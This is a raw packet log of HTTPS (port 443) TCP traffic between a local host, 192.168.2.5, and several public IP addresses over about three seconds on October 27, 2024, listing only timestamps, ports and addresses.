Oct 27, 2024 17:54:19.344712973 CET	49717	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.344741106 CET	443	49717	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.345194101 CET	49717	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.345197916 CET	443	49717	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.357480049 CET	443	49715	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.357877970 CET	49715	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.357913017 CET	443	49715	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.358258009 CET	49715	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.358264923 CET	443	49715	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.358334064 CET	443	49716	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.358716011 CET	49716	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.358738899 CET	443	49716	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.359102964 CET	49716	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.359107971 CET	443	49716	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.359508991 CET	443	49718	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.359769106 CET	49718	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.359775066 CET	443	49718	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.360106945 CET	49718	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.360110044 CET	443	49718	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.371438026 CET	443	49719	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.371675014 CET	49719	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.371692896 CET	443	49719	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.372008085 CET	49719	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.372011900 CET	443	49719	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.477719069 CET	443	49717	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.477751017 CET	443	49717	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.477828026 CET	443	49717	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.477835894 CET	49717	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.477871895 CET	49717	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.480541945 CET	49717	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.480571032 CET	443	49717	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.480583906 CET	49717	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.480592966 CET	443	49717	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.483232975 CET	49725	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.483264923 CET	443	49725	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.483335972 CET	49725	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.483438969 CET	49725	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.483448029 CET	443	49725	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.488979101 CET	443	49716	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.489006042 CET	443	49716	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.489068031 CET	443	49716	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.489087105 CET	49716	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.489146948 CET	49716	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.489190102 CET	49716	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.489233971 CET	443	49716	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.489264965 CET	49716	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.489280939 CET	443	49716	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.490958929 CET	443	49715	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.491111040 CET	443	49715	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.491173029 CET	49715	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.491471052 CET	49726	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.491504908 CET	443	49726	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.491561890 CET	49726	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.491622925 CET	49715	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.491636992 CET	443	49715	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.491647959 CET	49715	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.491652966 CET	443	49715	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.491756916 CET	49726	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.491770983 CET	443	49726	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.492482901 CET	443	49718	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.492505074 CET	443	49718	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.492552042 CET	49718	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.492571115 CET	443	49718	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.492619991 CET	443	49718	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.492660046 CET	49718	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.493056059 CET	49718	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.493063927 CET	443	49718	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.493091106 CET	49718	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.493096113 CET	443	49718	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.493782997 CET	49727	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.493801117 CET	443	49727	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.493855953 CET	49727	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.494534016 CET	49727	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.494545937 CET	443	49727	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.495677948 CET	49728	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.495693922 CET	443	49728	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.495745897 CET	49728	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.495896101 CET	49728	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.495907068 CET	443	49728	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.507067919 CET	443	49719	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.507133007 CET	443	49719	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.507190943 CET	49719	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.507287979 CET	49719	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.507299900 CET	443	49719	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.507327080 CET	49719	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.507332087 CET	443	49719	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.536079884 CET	49729	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.536103964 CET	443	49729	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.536179066 CET	49729	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.536326885 CET	49729	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:19.536339998 CET	443	49729	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:19.635549068 CET	49730	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:19.635606050 CET	443	49730	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:19.635718107 CET	49730	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:19.635926008 CET	49730	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:19.635943890 CET	443	49730	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:20.211694002 CET	443	49725	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.212306023 CET	49725	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.212318897 CET	443	49725	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.212747097 CET	49725	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.212754011 CET	443	49725	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.229300022 CET	443	49728	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.229821920 CET	49728	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.229830980 CET	443	49728	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.230104923 CET	49728	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.230110884 CET	443	49728	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.231184959 CET	443	49727	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.231523037 CET	49727	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.231538057 CET	443	49727	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.231920004 CET	49727	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.231925011 CET	443	49727	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.233237028 CET	443	49726	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.233516932 CET	49726	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.233534098 CET	443	49726	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.233858109 CET	49726	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.233861923 CET	443	49726	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.288047075 CET	443	49729	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.288583040 CET	49729	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.288593054 CET	443	49729	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.289047003 CET	49729	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.289052010 CET	443	49729	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.342869997 CET	443	49725	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.342959881 CET	443	49725	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.343007088 CET	49725	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.343223095 CET	49725	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.343242884 CET	443	49725	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.343255043 CET	49725	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.343264103 CET	443	49725	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.345725060 CET	49731	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.345781088 CET	443	49731	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.345886946 CET	49731	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.346018076 CET	49731	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.346026897 CET	443	49731	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.360177040 CET	443	49728	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.360259056 CET	443	49728	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.360315084 CET	49728	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.360558987 CET	49728	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.360558987 CET	49728	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.360570908 CET	443	49728	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.360579967 CET	443	49728	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.361593962 CET	443	49727	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.361777067 CET	443	49727	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.361835003 CET	49727	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.361861944 CET	49727	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.361870050 CET	443	49727	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.361879110 CET	49727	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.361884117 CET	443	49727	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.362421036 CET	443	49726	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.362555981 CET	443	49726	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.362613916 CET	49726	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.362728119 CET	49726	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.362741947 CET	443	49726	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.362751961 CET	49726	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.362756014 CET	443	49726	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.363384962 CET	49732	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.363423109 CET	443	49732	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.363483906 CET	49732	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.363601923 CET	49732	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.363620043 CET	443	49732	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.364551067 CET	49733	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.364581108 CET	443	49733	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.364649057 CET	49733	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.364762068 CET	49733	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.364773989 CET	49734	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.364779949 CET	443	49733	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.364780903 CET	443	49734	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.364841938 CET	49734	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.364916086 CET	49734	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.364928007 CET	443	49734	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.421258926 CET	443	49729	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.421435118 CET	443	49729	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.421494961 CET	49729	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.421570063 CET	49729	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.421577930 CET	443	49729	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.421590090 CET	49729	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.421593904 CET	443	49729	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.424751997 CET	49735	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.424765110 CET	443	49735	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.424849987 CET	49735	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.425038099 CET	49735	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:20.425050974 CET	443	49735	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:20.488742113 CET	443	49730	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:20.489028931 CET	49730	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:20.489046097 CET	443	49730	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:20.493005037 CET	443	49730	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:20.493119955 CET	49730	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:20.493546009 CET	49730	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:20.493801117 CET	443	49730	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:20.539102077 CET	49730	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:20.539123058 CET	443	49730	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:20.585993052 CET	49730	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:20.649214983 CET	49738	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:20.649247885 CET	443	49738	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:20.649315119 CET	49738	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:20.650985003 CET	49738	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:20.650998116 CET	443	49738	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:21.086774111 CET	443	49733	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.090513945 CET	443	49731	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.097153902 CET	49733	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.097212076 CET	443	49733	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.097865105 CET	49733	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.097878933 CET	443	49733	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.098324060 CET	49731	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.098336935 CET	443	49731	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.098752022 CET	49731	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.098757982 CET	443	49731	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.101548910 CET	443	49734	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.102510929 CET	49734	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.102524042 CET	443	49734	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.102921963 CET	49734	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.102926970 CET	443	49734	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.109172106 CET	443	49732	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.109720945 CET	49732	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.109729052 CET	443	49732	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.110359907 CET	49732	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.110364914 CET	443	49732	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.155503988 CET	443	49735	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.156182051 CET	49735	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.156207085 CET	443	49735	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.156930923 CET	49735	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.156943083 CET	443	49735	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.221529961 CET	443	49733	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.221616030 CET	443	49733	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.221689939 CET	49733	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.221961021 CET	49733	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.222002029 CET	443	49733	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.222029924 CET	49733	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.222048998 CET	443	49733	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.225321054 CET	49741	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.225351095 CET	443	49741	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.225433111 CET	49741	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.225670099 CET	49741	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.225682974 CET	443	49741	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.226577997 CET	443	49731	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.226756096 CET	443	49731	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.226846933 CET	49731	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.227276087 CET	49731	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.227289915 CET	443	49731	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.231384039 CET	443	49734	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.231466055 CET	443	49734	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.231539011 CET	49734	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.231870890 CET	49742	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.231904984 CET	443	49742	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.231964111 CET	49742	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.232460976 CET	49742	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.232470989 CET	443	49742	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.232995033 CET	49734	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.233019114 CET	443	49734	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.233033895 CET	49734	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.233041048 CET	443	49734	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.235527039 CET	49743	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.235538006 CET	443	49743	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.235606909 CET	49743	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.235932112 CET	49743	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.235943079 CET	443	49743	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.239624977 CET	443	49732	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.239775896 CET	443	49732	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.239831924 CET	49732	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.240518093 CET	49732	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.240542889 CET	443	49732	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.245415926 CET	49744	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.245512009 CET	443	49744	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.245641947 CET	49744	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.245795965 CET	49744	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.245824099 CET	443	49744	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.285414934 CET	443	49735	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.285578966 CET	443	49735	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.285650969 CET	49735	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.285758018 CET	49735	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.285788059 CET	443	49735	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.285820961 CET	49735	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.285835028 CET	443	49735	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.288383961 CET	49745	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.288455009 CET	443	49745	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.288600922 CET	49745	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.288778067 CET	49745	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.288800955 CET	443	49745	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.409698963 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:21.409750938 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:21.410042048 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:21.410228968 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:21.410243988 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:21.434730053 CET	49748	443	192.168.2.5	20.109.210.53
Oct 27, 2024 17:54:21.434739113 CET	443	49748	20.109.210.53	192.168.2.5
Oct 27, 2024 17:54:21.434864044 CET	49748	443	192.168.2.5	20.109.210.53
Oct 27, 2024 17:54:21.436167002 CET	49748	443	192.168.2.5	20.109.210.53
Oct 27, 2024 17:54:21.436178923 CET	443	49748	20.109.210.53	192.168.2.5
Oct 27, 2024 17:54:21.504595041 CET	443	49738	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:21.504684925 CET	49738	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:21.508790016 CET	49738	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:21.508797884 CET	443	49738	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:21.509253979 CET	443	49738	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:21.553267002 CET	49738	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:21.595324039 CET	443	49738	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:21.797007084 CET	443	49738	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:21.797071934 CET	443	49738	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:21.797210932 CET	49738	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:21.797250032 CET	49738	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:21.797270060 CET	443	49738	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:21.797282934 CET	49738	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:21.797287941 CET	443	49738	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:21.840111971 CET	49749	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:21.840153933 CET	443	49749	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:21.840320110 CET	49749	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:21.840594053 CET	49749	443	192.168.2.5	184.28.90.27
Oct 27, 2024 17:54:21.840605021 CET	443	49749	184.28.90.27	192.168.2.5
Oct 27, 2024 17:54:21.956423044 CET	443	49741	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.957196951 CET	49741	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.957211971 CET	443	49741	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.957673073 CET	49741	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.957679033 CET	443	49741	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.966902018 CET	443	49743	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.967273951 CET	49743	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.967284918 CET	443	49743	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.967684031 CET	49743	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.967689037 CET	443	49743	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.979984045 CET	443	49744	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.980321884 CET	49744	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.980344057 CET	443	49744	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.980715990 CET	49744	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.980721951 CET	443	49744	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.981275082 CET	443	49742	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.981621027 CET	49742	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.981635094 CET	443	49742	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:21.981987000 CET	49742	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:21.981992006 CET	443	49742	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.087187052 CET	443	49741	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.087301970 CET	443	49741	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.087368965 CET	49741	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.087552071 CET	49741	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.087567091 CET	443	49741	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.087579012 CET	49741	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.087584019 CET	443	49741	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.090563059 CET	49750	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.090584040 CET	443	49750	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.090662003 CET	49750	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.090852022 CET	49750	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:22.090863943 CET	443	49750	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.097038031 CET	443	49743	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:22.097301006 CET	443	49743	13.107.246.45	192.168.2.5
